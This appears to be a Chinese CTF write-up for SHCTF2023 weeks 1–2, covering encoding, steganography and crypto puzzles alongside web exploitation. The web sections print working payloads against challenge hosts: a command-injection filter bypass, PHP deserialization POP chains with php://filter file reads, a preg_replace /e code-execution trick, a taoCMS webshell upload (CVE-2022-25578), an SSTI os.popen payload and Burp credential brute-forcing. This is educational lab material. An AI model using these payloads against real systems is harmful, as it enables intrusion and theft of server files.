SHCTF2023-校外赛道

Week1

Misc

[WEEK1]ez-misc

下载之后获得附件,打开01game,把二进制转换为图片,使用工具ToolsFxhttps://github.com/Leon406/ToolsFx/wiki
它的下载地址https://leon.lanzoub.com/b0d9av2kb?pwd=52pj
image.png
image.png
image.png
然后使用CQR.exe扫码,获得hit_k1sme4_4_fun,这个就是另一个flag文件的解压密码
image.png
解压之后用记事本打开,看见PK两个字,一眼顶真为zip压缩包,修改后缀名即可
image.png
又是一个加密了的压缩包,但是有压缩包备注hint,二进制转ASCII字符串获得rockyou
image.png
image.png
参考其他师傅博客发现rockyou是kali里面自带的字典,我们需要用这个字典来爆破这个压缩包
https://blog.csdn.net/zegeai/article/details/122660540?fromshare=blogdetail
http://t.csdnimg.cn/l92aN
image.png

  • /usr/share/wordlists/目录下带了rockyou的字典。2009年一家名叫rockyou的公司遭到了黑客攻击,他们的密码列表以明文存储,黑客下载了所有的密码列表并且公开。rockyou.txt包含14341564个唯一密码,用于32603388个帐户。

由于我在kali里面爆破不出来,所以我直接将字典复制到Windows上面用ARCHPR来进行爆破,之后得到解压密码palomino
image.png
image.png
解压打开后得到一大串字符,那么我们采用字频分析的方法来获取flag
image.png
image.png
image.png

[WEEK1]message

附件打开之后是一串十六进制字符串,直接十六进制转ASCII即可获得flag

0001000D91683106019196F40008C26211002072B975915730671B54114F60000A000A592982B15C065265843D8A938A00000A000A5E8A9AA453D883525730000A000A91527CBE518D6E1751656CEA75D5000A000A6C899ED852305BF94E0D8D77000A000A8FD94E0053CC624B535191195230002062B14F4F4F6000530048004300540046007B00620061003900370038003400300035002D0062003100630038002D0038003400370063002D0038006500360039002D006600360032003100370037006500340063003000380037007D

image.png
image.png

[WEEK1]签到题

image.png

Wm14aFozdDBhR2x6WDJselgyWnNZV2Q5

两次base64解码之后获得flag
image.png

[WEEK1] 真的签到

image.png
image.png

[WEEK1]可爱的派蒙捏

image.png
binwalk -e 分离图片,获得两个txt文件,里面都是一大串字符,对他们进行比较,找到不同之处即可获得flag
image.png

方法一:010editer

使用010editer进行文件比较,选择工具-->比较文件
image.png
image.png
发现不同之处连起来就是flag{
那么我们把它们一个个提取出来拼好就是flag了
image.png

方法二,使用在线网站https://text-compare.com/

也是一样的效果,把它们一个个提取出来拼好就是flag了
image.png

[WEEK1]请对我使用社工吧

image.png
where.jpg
where - 副本.jpg
bing一下
image.png
找到这个https://www.lottery.gov.cn/xwzx/hy/20220513/10017006.html
发现楼梯结构一致,是山东东营的大学附近
image.png
找到这个https://zhuanlan.zhihu.com/p/411972120
image.png
flag为 flag{山东省_东营市_东营区_中国石油大学}

[WEEK1]Steganography

image.png
image.png
猜测密码需要从图片里面找。用010editer打开第一张图片,在文件尾部发现base64编码,解码之后获得一半的压缩包密码,少了五个字符
image.png
image.png
那么另一半就在另一张图片里面,发现它有Exif信息,右键图片->点击属性->点击详细属性,即可发现残缺的5个字符
image.png
image.png
image.png
把它们合并起来12ercsxqwed909jk就是flag压缩包的解压密码,解压之后就可以获得flag
image.png
image.png

[WEEK1]也许需要一些py

image.png
先解压缩包的备注,是一串摩斯密码,然后它的小写就是flag.txt的解压密码this1sy0ukey
image.png
image.png
它说它不是真的flag,那么就看一下压缩包里的另外一个flag文件
发现PNG标志IHDR,但是缺少文件头89504E47,然后通过修改后缀保存为png图片
image.png
image.png
图片是用来校验最终flag的MD5值是否正确的,因为hint说:md5值是去掉flag{}的
image.png
image.png
需要写Python脚本对flag的值进行大小写枚举

import itertools
import hashlib

s = "pNg_and_Md5_SO_GreaT"
md5_hash = "63e62fbce22f2757f99eb7da179551d2"
for c in itertools.product([0, 1], repeat=len(s)):
    tmp = ""
    for i in range(len(s)):
        if c[i]:
            tmp += s[i].upper()
        else:
            tmp += s[i].lower()
    if hashlib.md5(tmp.encode()).hexdigest() == md5_hash:   # 如果这个的字符串的MD5值等于63e62fbce22f2757f99eb7da179551d2
        print("匹配成功:", tmp)															# 那么就输出它
        break
else:
    print("未找到匹配的字符串")

最终获得正确flag
image.png
image.png

Web

[WEEK1]生成你的邀请函吧~

image.png

API:url/generate_invitation  
Request:POST application/json  
Body:{  
"name": "Yourname",  
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

还好之前做过moeCTF2023的Cookie那题,知道这个要用postman软件来做,那我们对着题目提示来操作

  1. new一个POST请求,然后把[http://112.6.51.212:31197/generate_invitation](http://112.6.51.212:31197/generate_invitation)填上去
  2. 选择body
  3. 选择row原始数据
  4. 复制Body进去,注意要有大括号{}
  5. 选择json格式
  6. send发送获得邀请函,最下面就是flag

image.png

[WEEK1]babyRCE

image.png
题目代码:

<?php

  $rce = $_GET['rce'];
if (isset($rce)) {
  if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
    system($rce);
  }else {
    echo "hhhhhhacker!!!"."\n";
  }
} else {
  highlight_file(__FILE__);
}

它没有过滤ls命令,我们先查看一下根目录,但由于它过滤了空格,所以我们使用payload:?rce=ls${IFS}/
image.png
在根目录发现flag文件,
image.png
但是由于cat等命令被过滤了,这里我们使用**uniq**:报告或删除文件中重复的行
并且flag和通配符 * 号也被过滤了,但是还有通配符 ? 号可以使用,那么我们构造payload:/?rce=uniq${IFS}/fla?即可获得flag
image.png

[WEEK1]飞机大战

image.png
打飞机小游戏,它说分数要大于99999就可以拿到flag,那我们想办法绕过它
image.pngimage.pngimage.png
首先Ctrl + U 查看源代码,查看[js/main.js](http://112.6.51.212:31975/js/main.js)
image.png
这里说 如果scores < 99999)会弹出下面这些东西,就是刚刚的提示,没什么用,接着看其他的
image.png

方法一:

这里说如果scores > 99999就会调用won()胜利函数
image.png
在js代码里发现won胜利函数,如果胜利,那么就会alert弹出以下东西,我们直接复制,把它放到console控制台运行一下,即可获得flag
image.png
image.png

方法二:

我们也可以直接在console控制台直接修改scores的值,让它在游戏没结束之前大于99999,在控制台先输入scores = 100000,先别按回车确定,点击开始游戏再按回车发送scores = 100000的值,然后就可以获得flag
image.png
image.png

[WEEK1]登录就给flag

image.png
image.png
image.png
image.png
这题首先想到爆破用户名密码的方法,先试一下弱口令登录admin管理员账号,例如密码为admin888、123456、password之类的,谁知道我还没爆破就被我弱口令试出来了🤣
image.png
image.png
那么正常的爆破为使用BurpSuite来进行,抓包之后发到Intruder攻击器
image.png
选择Cluster bomb集束炸弹模式,可以同时对两个变量进行爆破,我们给账号和密码加上$符号,表示它们两个是变量
关于Burp Suite中intruder爆破模块四种模式的区别,参考其他师傅的博客http://t.csdnimg.cn/ac0Cl
关于Burp Suite中intruder爆破模块四种模式的区别对于bp爆破模块中的四种模式,字面意思加上英语翻译过来实在太抽象了。那就结合具体实例解释一下

1. Sniper(狙击手)

顾名思义,就是一个一个的来,就跟98K一样,一ju一个准。也是最基础的一种模式。
添加了一个参数的话,并且假设payload有500个的话,那就执行500次,

如果添加了两个参数的话,就会挨着来,第一个参数开始爆破时,第二个不变,如此这样,会进行500+500此 总共1000次爆破。

2. Battering ram(攻城锤)

顾名思义,和狙击手差不多,一个参数的话都一样,只不过如果添加了两个参数的话,就一起进行爆破。那么两个参数爆破时候的值肯定就是一样的了。那么就只会进行500次爆破。

3. Pitchfork(草叉模式)

此模式下如果只添加了一个参数的话,会报错

添加了两个参数的话 ,要求添加两个payload
pl1:1,2
pl2:3,4
那么第一爆破为 1,3
而二次爆破为2,4
如果两个payload行数不一致的话,取最小值进行测试。所以爆破的次数取两个中最小的为准。

4. Cluster bomb(集束炸弹)

同pitchfork,起码两个参数,但此操作会计算两个的payload 的笛卡儿积。
比如pl1:1,2,3
pl2:4,5,6
那么第一次爆破为 1,4
第二次为1,5
以此类推 1,6
2,4
2,5.。。。。。。
image.png
然后设置payloads,首先设置第一个参数:账号的变量,选择简单列表模式,加载username字典,去掉特殊字符URL编码的√
image.png
然后设置第二个变量,和上面一样,加载password字典即可,然后点击右上角的Start attack开始攻击
image.png
发现账号admin和密码password的长度不一样,而且响应中还有302跳转重定向,那么它们就是账号密码了
image.png
image.png

[WEEK1]1zzphp

image.png
image.png

  • 需要GET传参num和POST传参c_ode,

num用传数组绕过?num[]=1因为preg_match无法处理数组,preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句

  • 而c_ode的值需要为2023SHCTF但是又不能包含SHCTF
  • preg_match('/.+?SHCTF/is', $code) 检查 code 是否包含 "SHCTF",如果包含,则返回 "no touch!"。
  • stripos($code,'2023SHCTF') === FALSE 检查 code 是否包含 "2023SHCTF",如果不包含,则返回 "what do you want"。
  • 最后,如果以上条件都通过,它会打印出 $flag 的值。

参考其他师傅的博客2023SHCTF之web的wp | yyjccc的博客,还有P牛的文章PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌Code Breaking 挑战赛 Writeup
看p牛的文章我们看到了问题所在,pcre.backtrack_limit这个配置决定了在php中,正则引擎回溯的层数。而这个值默认是1000000.

而什么是正则引擎回溯呢?
在正则中.*表示匹配任意字符任意位,也就是说他会匹配所有的字符,而正则引擎在解析正则的时候必然是逐位匹配的,对于

<?php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa

这段代码来说

首先<匹配<
然后?匹配?
然后.*会直接匹配到结尾php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
紧接着匹配[(`;?>],问题出现了,上一步匹配到了结尾,后面没有满足要求的符号了。

从这里开始正则引擎就开始逐渐回溯,知道符合要求的;出现为止

但很显然,服务端不可能不做任何限制,不然如果post一个无限长的数据,那么服务端就会浪费太多的资源在这里,所以就有了pcre.backtrack_limit,如果回溯次数超过100万次,那么匹配就会结束,然后跳过这句语句。
回到题目来看,如果能够跳过这句语句,我们就能上传任意文件内容了!
Python脚本发送1000000个s,然后在后面加上2023SHCTF就能符合if判断,然后就能让它echo $flag

import requests
url="http://112.6.51.212:30932/"
data={
    "c_ode":"s"*1000000+"2023SHCTF"
}
res=requests.post(url+"?num[]=1",data).text
print(res)

image.png

[WEEK1]ez_serialize

image.png
题目代码:
image.png

<?php
  highlight_file(__FILE__);

class A{
  public $var_1;

  public function __invoke(){
    include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
  {
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
      echo "hacker";           
    }
  }

}
class C{
  public $var;
  public $z;
  public function __toString(){
    return $this->z->var;
  }
}

class D{
  public $p;
  public function __get($key){
    $function = $this->p;
    return $function();
  }  
}

if(isset($_GET['payload']))
{
  unserialize($_GET['payload']);
}
  ?>

需要使用PHP反序列化,POP链的知识
参考其他师傅博客:2023SHCTF之web的wp | yyjccc的博客
1.最外层是B类的对象,触发__wakeup方法,
2.q属性是C类的实例对象,触发__toString方法
3.C中属性var是D类的实例对象,触发__get方法
4.D中的属性p是A类的实例对象,触发__inovke方法
5.A中属性var_1是我们要包含的文件;最后利用文件包含漏洞
这里利用php://filter和文件包含漏洞来读取flag.php文件
编写PHP序列化代码,获得序列化字符串后,作为GET参数payload发送过去给题目,触发反序列化,从而执行我们的恶意代码

<?php
class A
{
    public $var_1;
}
class B
{
    public $q;
}
class C
{
    public $var;
    public $z;
}
class D
{
    public $p;
}
$b = new B();
$c = new C();
$d = new D();
$a = new A();
$a->var_1 = "php://filter/read=convert.base64-encode/resource=flag.php";
$d->p = $a;
$c->z = $d;
$b->q = $c;
echo serialize($b);

执行上面代码得到序列化字符串
image.png

O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

image.png
然后解码base64即可获得flag
image.png

[WEEK1]ezphp

image.png
image.png
题目代码:

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?>
it is begin

preg_replace /e模式的命令执行漏洞深入研究preg_replace与代码执行 | Mochazz’s blog
2023SHCTF之web的wp | yyjccc的博客
preg_replace这个函数原本是利用正则表达式替换符合条件的字符串,但是这个函数有一个功能——可执行命令。这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行。
总之,/e模式下正则表达式代码执行(这里可以用在php的一句话木马中)
解析题目代码:
pattern为匹配模式,code为匹配字符串,\1 其实是一个引用,指向code参数
上payload
image.png
code为格式{${要执行的代码}}(官方payload就是这样的,我也没深入研究,先拿来用) 只要匹配成功就能执行code代码,所以pattern为(.*),意为匹配所有。
匹配成功后执行代码,显示phpinfo页面
然后Ctrl + F 搜索flag即可
image.png

Crypto

[WEEK1]Crypto_Checkin

image.png

QZZ|KQbjRRS8QZRQdCYwR4_DoQ7~jyO>0t4R4__aQZQ9|Rz+k_Q!r#mR90+NR4_4NR%>ipO>0s{R90|SQhHKhRz+k^S8Q5JS5|OUQZO}CQfp*dS8P&9R8>k?QZYthRz+k_O>0#>

使用随波逐流工具(http://www.1o1o.xyz/),解开base85(b),获得一串base64
image.png
然后解base64-->base32-->base16(base16就是Hex十六进制)即可获得flag
image.png

[WEEK1]残缺的md5

image.png

苑晴在路边捡到了一张纸条,上面有一串字符串:KCLWG?K8M9O3?DE?84S9
问号是被污染的部分,纸条的背面写着被污染的地方为大写字母,还给了这串字符串的md5码值:F0AF????B1F463????F7AE???B2AC4E6
请提交完整的md5码值并用flag{}包裹提交

使用Python脚本爆破MD5,脚本来源于[http://t.csdnimg.cn/0YWJk](http://t.csdnimg.cn/0YWJk)

import re
from hashlib import md5

list_uppercase = [chr(i) for i in range(65, 91)]  # 大写
# list_lowercase = [chr(i) for i in range(97, 123)]  # 小写
# list_digits = [chr(i) for i in range(48, 58)]  # 数字
for i in list_uppercase:
  for j in list_uppercase:
    for k in list_uppercase:
      key = "KCLWG%sK8M9O3%sDE%s84S9" % (i, j, k)			# %s匹配的是i,j,k
      sign = md5(key.encode('utf8')).hexdigest().upper()
      if re.match(r"F0AF.{4}B1F463.{4}F7AE.{3}B2AC4E6", sign, re.I):   #{}里面匹配的是?数量
        print(sign)
        break

image.png
获得F0AF1443B1F463EAFFF7AEBB8B2AC4E6就是flag{}

[WEEK1]凯撒大帝

image.png
用随波逐流,选择凯撒解密模式即可
image.png

[WEEK1]进制

image.png

好熟悉的进制,但不知道加密了几层
3636366336313637376236313638363636623661366336383662363136383764

用Cyberchef(https://ctf.mzy0.com/CyberChef3/)或者随波逐流进行十六进制转ASCII两次解码即可
image.png

[WEEK1]okk

image.png

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook.
Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. 

用网站(https://www.splitbrain.org/services/ook)进行okk解密
image.png

[WEEK1]熊斐特

image.png

熊斐特博士发现了一种新的密码。
uozt{zgyzhs xrksvi}

埃特巴什码(Atbash Cipher)是由熊斐特博士发现的密码,其最后一个字母代表第一个字母,倒数第二个字母代表第二个字母,在公元一世纪的艾赛尼/萨多吉/拿撒勒教派的经文中用以隐藏姓名。
image.png

[WEEK1]黑暗之歌

image.png

密文:

⠴⡰⡭⡳⠴⡰⡭⡰⡷⡲⡢⡩⡭⡡⠯⡩⡭⡡⡺⡩⡭⡡⠳⡩⡭⡡⡺⡩⡭⡡⡶⡩⡭⡡⡶⡩⡭⡡⡲⡩⡭⡡⡺⡩⡭⡡⠯⡩⡧⡊⡢⡩⡭⡡⠯⡩⡭⡡⡺⡃⡰⠫⡋⡚⡲⡍⡋⡮⠴⡰⡭⡶⡷⡲⡢⡩⡧⡊⡢⡃⡴⡵⡋⡁⡬⡵⡋⡁⡬⡵⡋⡁⡬⡳⡋⠲⠴⡯⡃⡗⠴⡰⡭⡴⠴⡰⡭⡶⡷⡲⡢⡩⡧⡊⡢⡩⡭⡡⡺⡩⡭⡡⡺⡩⡭⡡⠳⡩⡧⡊⡢⡩⡭⡡⠯⡩⡧⡊⡢⡃⡴⡵⡋⡚⡱⠫⡋⡚⡱⠫⡋⡚⡲⠵⠲⡺⠰⠽

盲文解密(http://www.atoolbox.net/Tool.php)
image.png
Base64解密获得一串音符
image.png
音符解密(https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue)之后获得flag
image.png

[WEEK1]迷雾重重

image.png

题目描述:

morse?ASCII?


密文:

0010 0100 01 110 1111011 11 111 010 000 0 001101 00 000 001101 0001 0 010 1011 001101 0010 001 10 1111101

把0替换为为 .
把1替换为 -
然后解Morse密码即可
image.png

[WEEK1]难言的遗憾

image.png

题目描述:
我们本可以早些进入信息化时代的,但是清政府拒不采纳那份编码规则。 (注:flag为中文,使用flag{}包裹提交)



密文:

000111310008133175592422205314327609650071810649

经过一番查询,知道了这原来是中文电码
附录:
中文电码表采用四位阿拉伯数字作代号,从0001到9999按四位数顺序排列,用四位数字表示最多一万个汉字、字母和符号。汉字先按部首,后按笔划排列。字母和符号放到电码表的最尾。后来因一万个汉字不能应付户籍管理的要求,又有第二字面汉字的出现。在香港,两个字面都采用同一编码,由输入员人手选择字面;在台湾,第二字面的汉字在开首补上“1”字,变成5个数字的编码。
然后我们可以查一下中文电码在线解密工具然后对这一串中文电码进行解密就OK了。
image.png

[WEEK1]小兔子可爱捏

题目描述:宇宙的终极答案是什么?


U2FsdGVkX1/lKCKZm7Nw9xHLMrKHsbGQuFJU5QeUdASq3Ulcrcv9

你可能会需要一把钥匙,钥匙就是问题的答案。

Rabbit算法加密解密(http://www.jsons.cn/rabbitencrypt/)
image.png
那么key是42
image.png

[WEEK1]what is m

# 这串神秘的数字怎么恢复成flag呢

from Crypto.Util.number import bytes_to_long
from secret import flag

m = bytes_to_long(flag)
print("m =",m)

# m = 7130439814055615102101958096751138079253151520120480188560567777253309012488201883049364655864092765095873094517912465648582281288647900157010093786636800929658326440954514280422661996036477

问ChatGPT(https://chat.openai.com/)
image.png

from Crypto.Util.number import long_to_bytes

m = 7130439814055615102101958096751138079253151520120480188560567777253309012488201883049364655864092765095873094517912465648582281288647900157010093786636800929658326440954514280422661996036477

# 将长整数m还原为字节串
flag_bytes = long_to_bytes(m)

# 将字节串解码为字符串
flag_str = flag_bytes.decode('utf-8')

print("Flag =", flag_str)

运行脚本获得flagflag{7heRE_aRE_SeVeR4I_41TERnaT1veS_TO_tHE_I0NG_to_8ytE5_FUncTi0n_fdAc21G4aBFA}
image.png

[WEEK1]really_ez_rsa

题目附件:

from Crypto.Util.number import getPrime, bytes_to_long

e = 65537
m = b''

p = getPrime(128)
q = getPrime(128)
n = p * q
m = bytes_to_long(m)
c = pow(m, e, n)

print("p =", p)
print("q =", q)
print("c =", c)
print("e =", e)

# p = 217873395548207236847876059475581824463
# q = 185617189161086060278518214521453878483
# c = 6170206647205994850964798055359827998224330552323068751708721001188295410644
# e = 65537

使用风二西(风大)工具解https://space.bilibili.com/317479700
image.png
image.png
image.png
image.png
image.png

PWN

[WEEK1]nc

image.png

[WEEK1]hard nc

image.png
base64解码获得flag2 57-b311-3f7355cd7c59}
接下来回到根目录cd /
查看全部文件,包括隐藏文件 ls -la,在Linux中,前面有个 . 的就是隐藏文件
image.png
cat .gift获得flag1
image.png
拼起来就是 flag{f671ebbc-5b84-4457-b311-3f7355cd7c59}

Week2

Crypto

[WEEK2]factorizing_n

image.png

Web

[WEEK2]no_wake_up

image.png
image.png

<?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']);

这道题目考察PHP反序列化漏洞和文件包含漏洞
这个代码存在一个明显的PHP反序列化漏洞,它通过 unserialize 函数来处理 $_GET['try'] 的数据。恶意用户可以构造一个特定的序列化payload来执行任意的PHP代码。
以下是解题思路和一个可能的解题脚本:
解题思路

  1. 我们需要构造一个payload,该payload能够执行任意PHP代码。首先,我们可以创建一个自定义类(例如 flag 类),并在该类的 __destruct 方法中执行代码。
  2. 由于代码中有一个条件检查 $this->username = "admin",我们需要确保 $this->username 变量被设置为 "admin",这样条件检查就会通过。我们可以在构造payload时设置这个属性。
  3. 最后,我们需要将payload进行序列化,并将它传递给 $_GET['try']
<?php
class flag {
    public $username;
    public $code;
}

// 创建一个flag对象,设置username属性为"admin",code属性为要执行的PHP代码
$payload = new flag();
$payload->username = "admin";
$payload->code = "php://filter/read=convert.base64-encode/resource=flag.php"; // 替换为要执行的PHP代码

// 序列化payload
$serialized_payload = serialize($payload);


// 构造GET请求,将payload传递给try参数
$url = "http://112.6.51.212:31126/wakeup.php?try=" . urlencode($serialized_payload);

// 发送GET请求
$response = file_get_contents($url);

echo $response;
?>

请将上述脚本中的 "your_php_code_here" 替换为你要执行的PHP代码。然后将脚本发送到目标服务器,该服务器上运行着包含漏洞的代码。当目标服务器处理请求时,它将反序列化payload,并由于设置了 "admin" 作为用户名,条件检查将通过,从而执行你指定的PHP代码。

如果报错:Warning: include(whoami): failed to open stream: No such file or directory in /var/www/html/wakeup.php on line 11

报错信息表明PHP脚本尝试包含名为 "whoami" 的文件,但未找到该文件。这是因为你的payload中的 $payload->code 属性被设置为 "whoami",而在PHP中,include 或 include_once 函数用于包含文件。

所以我们使用参数:php://filter/read=convert.base64-encode/resource=flag.php
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
image.png
image.png

[WEEK2]EasyCMS

image.png
CMS是什么?
CMS是英语Content Management System的缩写,按英语的字面翻译就是内容管理系统,顾名思义,它主要是为了方便发布网络内容而存在的一体化Web管理系统。

进去后并未发现利用点
image.png
搜索之后taoCMS之后得知是CVE-2022-25578
参考博客:http://t.csdnimg.cn/q9lMGhttp://t.csdnimg.cn/5bAUJ

taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码

0x1应用简介
taoCMS是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统,是国内最小的功能完善的基于php+SQLite/Mysql的CMS。体积小(仅180Kb)速度快,包含文件管理、数据采集、Memcache整合、用户管理等强大功能,跨平台运行,支持SAE、BAE云服务,阿里云虚拟主机。代码手写采用严格的数据过滤,保证服务器的安全稳定!

0x2漏洞原理
taoCMS是国内最小功能完善的CMS网站内容管理系统,它在文件管理中由于后台管理可以直接修改.htaccess文件,虽然他是采用白名单上传机制,但是在可以修改.htaccess的条件下存在远程任意代码执行漏洞。

访问网站后台url/admin/,登录账号和密码默认是admin:tao
image.png
其实进入后台后,按照说的应该就是修改图片中位置进行编辑.htaccess文件,新增以下内容:AddType application/x-httpd-php .jpg,然后在上传图片再进行解析

但是我们可以另辟蹊径,既然进入了后台,那我们不仅可以修改文件,又可以新建文件,我们直接上传一个shell.php

<?php system('cat /flag');?>

image.png

[WEEK2]ez_ssti

image.png
image.png
使用{{7*7}}作为参数name传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征。
image.png
参考博客:http://t.csdnimg.cn/A5U8Q这题是CTFshow的原题
https://xz.aliyun.com/t/3679https://www.cnblogs.com/tuzkizki/p/15394415.html

HackBar有现成的SSTI的payload
image.png
image.png

http://112.6.51.212:30701/?name={{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

Misc

[WEEK2]喜帖街

image.png
image.png

频谱图

使用工具:Audacity
文件类型:wav
image.png
即可获取隐藏信息
image.png
LeeTung可能是个密码之类的

接下来是steghide隐写
参考博客:http://t.csdnimg.cn/uZJSH

下载地址:https://sourceforge.net/projects/steghide/

查看图片中嵌入的文件信息
steghide info 图片名.jpg

隐藏文件
steghide embed -cf [图片文件载体] -ef [待隐藏文件]

提取隐藏的文件
steghide extract -sf 图片名 (-p 密码)

使用以下命令显示隐藏在文件中的信息
steghide info 图片名
steghide extract -sf 图片名 (-p 密码)

image.png
打开txt后发现一大堆okk,然后直接Okk解密就可以了,用https://www.splitbrain.org/services/ook
image.png

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
